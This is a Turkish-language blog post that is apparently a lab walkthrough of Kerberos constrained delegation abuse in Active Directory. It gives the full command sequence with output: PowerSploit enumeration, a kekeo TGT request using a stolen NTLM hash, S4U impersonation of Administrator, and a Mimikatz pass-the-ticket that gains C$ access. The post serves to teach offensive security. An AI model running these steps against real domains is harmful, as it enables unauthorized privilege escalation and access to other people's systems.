İçeriğe geç

Constrained Delegation Saldırısı

Geçen yazımda Unconstrained Delegation’u nasıl kötüye kullanabileceğimizden bahsettim. Bu yazı içerisinde Constrained Delegation’dan bahsederek konuya devam edeceğiz.
İlk olarak Unconstrained ve constrained delegation arasındaki farkları iyi anlamamız gerekmektedir, tabiki bunu güvenlikçi bakış açısıyla anlatacağım. Unconstrained delegationda hedef sistem üzerindeki servislere erişirken herhangi bir kısıtlama olmadan bütün servislere erişebiliyorduk. Hesaba tamamen güveniliyordu bundan dolayı sistem içerisinde yerel yönetici bir hesabı ele geçirdiğimizde, makinaya kim bağlanırsa bağlansın ticketları mimikatz aracılığı ile elde edip yetki yükseltebilmiştik. Bu tehlikeli olduğu için Microsoft constrained delegation diye bir kavram sunmuş. Burda güven politikası servis bazında yapılmaktadır. Yani makina üzerinde X servisini kullananan bir domain admin hesabınının sadece X servisini kullanabilecdeğimiz TGS’ine erişim sağlayabilmekteyiz. Ne demek istediğimi daha iyi bir şekilde anlatmayı deneyeyim…

sqlService isimli kullanıcıya ilk önce bir SPN tanımlaması yaptık. Böyle kullanıcının Delegation sekmesi açıldı. Bunu merak edenler için powershell çıktısını aşağıda paylaştım.

PS C:\Users\Administrator> Get-ADUser -Filter * -Properties * | Where-Object {$_.name -eq "sqlService"} | select name, UserPrincipalName, servicePrincipalName

name       UserPrincipalName      servicePrincipalName
----       -----------------      --------------------
sqlService [email protected] {cifs/MS-SQL.kuday.local}

Daha sonrasında yukarıdaki resimdende anlaşıldığı üzere sqlService kullanıcısının yerel yönetici olarak çalışmış olduğu MS-SQL sunucusunda cifs servisi delege edilmiş durumda. Bu ne demek?

X hesabı bu sunucunun sadece cifs servisini kullanmaya çalışırken, servis için bilgisayar bir kullanıcı gibi davranacaktır. İlgili görsel aşağıda verilmiştir. Görsel Ben Campbell bu durumu şöyle anlatmıştır.

  1. The user authenticates to the web service using a non-Kerberos compatible authentication mechanism
  2. The web service requests a ticket from the Key Distribution Center (KDC) for the ‘user’ account without supplying a password, as the svc_web account
  3. The KDC checks the svc_web userAccountControl value for the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION flag, and that the target user is not blocked for delegation. If OK it returns a forwadable ticket for the ‘user’ account (S4U2Self)
  4. The service then passes this ticket back to the KDC and requests a service ticket for the cifs/fs.contoso.com service
  5. The KDC checks the msDS-AllowedToDelegateTo field on the svc_web account. If the service is listed it will return a service ticket for the file share (S4U2Proxy)
  6. The web service can now authenticate to the file share as the ‘user’ account using the supplied ticket

Saldırı

Bu saldırıya başlamadan önce sqlService hesabının ntlm hash değerini elde ettiğimizi varsayıyoruz…
Hash NTLM: 64f12cddaa88057e06a81b54e73b949b

Farklı bir kullanıcı ile ilk olarak MS-SQL makinasında listeleme işlemi gerçekleştirmeye çalıştım… Öncesinde klist kontrolü gerçekleştirdim.

PS C:\Users\iisManager\Desktop\Tools\kekeo\x64> klist

Current LogonId is 0:0x410ac

Cached Tickets: (2)

#0>     Client: iisManager @ KUDAY.LOCAL
        Server: krbtgt/KUDAY.LOCAL @ KUDAY.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 11/10/2020 21:53:57 (local)
        End Time:   11/11/2020 7:53:57 (local)
        Renew Time: 11/17/2020 21:53:57 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called: DC-01

#1>     Client: iisManager @ KUDAY.LOCAL
        Server: LDAP/DC-01.kuday.local/kuday.local @ KUDAY.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 11/10/2020 21:53:57 (local)
        End Time:   11/11/2020 7:53:57 (local)
        Renew Time: 11/17/2020 21:53:57 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called: DC-01.kuday.local
PS C:\Users\iisManager\Desktop\Tools\kekeo\x64> ls \\MS-SQL\c$
ls : Access is denied
At line:1 char:1
+ ls \\MS-SQL\c$
+ ~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (\\MS-SQL\c$:String) [Get-ChildItem], UnauthorizedAccessException
    + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

ls : Cannot find path '\\MS-SQL\c$' because it does not exist.
At line:1 char:1
+ ls \\MS-SQL\c$
+ ~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (\\MS-SQL\c$:String) [Get-ChildItem], ItemNotFoundException
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand

Görüldüğü üzere ls : Access is denied ile karşılaştık. sqlService hesabının NTLM hash’i elimizde olduğu için bir TGT isteyebiliriz. Bu işlem için kekeo aracını kullanıyorum.

PS C:\Users\iisManager\Desktop\Tools\kekeo\x64> .\kekeo.exe

  ___ _    kekeo 2.1 (x64) built on Jul 18 2020 22:46:28
 /   ('>-  "A La Vie, A L'Amour"
 | K  |    /* * *
 \____/     Benjamin DELPY `gentilkiwi` ( [email protected] )
  L\_       http://blog.gentilkiwi.com/kekeo                (oe.eo)
                                             with 10 modules * * */

kekeo # tgt::ask /user:sqlService /domain:kuday.local /rc4:64f12cddaa88057e06a81b54e73b949b
Realm        : kuday.local (kuday)
User         : sqlService (sqlService)
CName        : sqlService       [KRB_NT_PRINCIPAL (1)]
SName        : krbtgt/kuday.local       [KRB_NT_SRV_INST (2)]
Need PAC     : Yes
Auth mode    : ENCRYPTION KEY 23 (rc4_hmac_nt      ): 64f12cddaa88057e06a81b54e73b949b
[kdc] name: DC-01.kuday.local (auto)
[kdc] addr: 10.10.250.135 (auto)
  > Ticket in file '[email protected][email protected]'

Daha sonra bu TGT ile TGS isteğinde bulunacağım. Öncesinde yaptığım bilgi toplama işlemlerinde msds-allowedtodelegateto özelliği açık olan bir kullanıcı keşfetmişim ve bu kullanıcı sqlService kullanıcısı. Aslında bu ilk görselimizde LAB oluşturuken elimizle vermiş olduğumuz özelliktir. Bunun powershell çıktısı aşağıdadır. Bu işlem için PowerSploit’in Recon modülü kullanılmıştır.

PS C:\Users\iisManager\Desktop\Tools\PowerSploit-master\Recon> Get-DomainUser -TrustedToAuth

logoncount               : 31
badpasswordtime          : 11/9/2020 11:13:08 PM
distinguishedname        : CN=sqlService,CN=Users,DC=kuday,DC=local
objectclass              : {top, person, organizationalPerson, user}
displayname              : sqlService
lastlogontimestamp       : 11/3/2020 9:56:08 PM
userprincipalname        : [email protected]
name                     : sqlService
objectsid                : S-1-5-21-2945184338-1184837640-344998139-1115
samaccountname           : sqlService
codepage                 : 0
samaccounttype           : USER_OBJECT
accountexpires           : NEVER
countrycode              : 0
whenchanged              : 11/9/2020 8:31:03 PM
instancetype             : 4
usncreated               : 94405
objectguid               : 2d4cb8e7-b852-46f6-b24d-d49c2981cf52
lastlogoff               : 1/1/1601 3:00:00 AM
msds-allowedtodelegateto : {cifs/MS-SQL.kuday.local, cifs/MS-SQL}
objectcategory           : CN=Person,CN=Schema,CN=Configuration,DC=kuday,DC=local
dscorepropagationdata    : {11/3/2020 6:47:42 PM, 1/1/1601 12:00:00 AM}
serviceprincipalname     : cifs/MS-SQL.kuday.local
givenname                : sqlService
lastlogon                : 11/10/2020 9:56:36 PM
badpwdcount              : 0
cn                       : sqlService
useraccountcontrol       : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION
whencreated              : 11/3/2020 6:47:42 PM
primarygroupid           : 513
pwdlastset               : 11/3/2020 9:47:42 PM
usnchanged               : 106579

Buradan aslında şu anlaşılıyor bizim için en önemli özellikler msds-allowedtodelegateto : {cifs/MS-SQL.kuday.local, cifs/MS-SQL} kısmı ile useraccountcontrol kısmındaki TRUSTED_TO_AUTH_FOR_DELEGATION alanları. Dediğim gibi bunu ilk görselde LAB ortamımızı kurarken ayarlamıştık…

Şimdi elimizde bir TGT var bunu kekeo sayesinde elde ettik. Bu TGT’yi kullanrak cifs servisi için TGS isteğinde bulunalım…

kekeo # tgs::s4u /tgt:[email protected][email protected] /user:Administrator /service:cifs/MS-SQL
Ticket  : [email protected][email protected]
  [krb-cred]     S: krbtgt/kuday.local @ KUDAY.LOCAL
  [krb-cred]     E: [00000012] aes256_hmac
  [enc-krb-cred] P: sqlService @ KUDAY.LOCAL
  [enc-krb-cred] S: krbtgt/kuday.local @ KUDAY.LOCAL
  [enc-krb-cred] T: [11/10/2020 9:56:36 PM ; 11/11/2020 7:56:36 AM] {R:11/17/2020 9:56:36 PM}
  [enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
  [enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac      ): 8b9b730002bd2b0395676104d5cc49b9ba937348f3876bb398bc6c1bc51320f5
  [s4u2self]  Administrator
[kdc] name: DC-01.kuday.local (auto)
[kdc] addr: 10.10.250.135 (auto)
  > Ticket in file '[email protected][email protected]'
Service(s):
  [s4u2proxy] cifs/MS-SQL
  > Ticket in file '[email protected][email protected]'

Bu işlemden sonra ticket’imiz hazır. Artık mimikatz’e geçip saldırımızı başlatabiliriz.

PS C:\Users\iisManager\Desktop\Tools\MimikatzPowershell> Invoke-Mimikatz -Command '"kerberos::ptt [email protected][email protected]"'

  .#####.   mimikatz 2.2.0 (x64) #18362 Oct 30 2019 13:01:25
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # kerberos::ptt [email protected][email protected]

* File: '[email protected][email protected]': OK

Şimdi tekrardan ls komutunu kullanalım.

PS C:\Users\iisManager\Desktop\Tools\MimikatzPowershell> ls \\MS-SQL\c$

    Directory: \\MS-SQL\c$

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         8/7/2020   6:58 AM                PerfLogs
d-r---        11/3/2020  10:42 PM                Program Files
d-----        11/4/2020  12:33 AM                Program Files (x86)
d-r---        11/3/2020   9:56 PM                Users
d-----        11/4/2020  12:01 AM                Windows

Ha-ri-ka!

Kaynaklar:
https://stealthbits.com/blog/constrained-delegation-abuse-abusing-constrained-delegation-to-achieve-elevated-access/
https://stealthbits.com/blog/what-is-kerberos-delegation-an-overview-of-kerberos-delegation/
https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/
https://labs.f-secure.com/archive/trust-years-to-earn-seconds-to-break/
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation
https://www.tarlogic.com/en/blog/kerberos-iii-how-does-delegation-work/
https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/

Kategori:Active DirectoryPowerShell

İlk Yorumu Siz Yapın

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir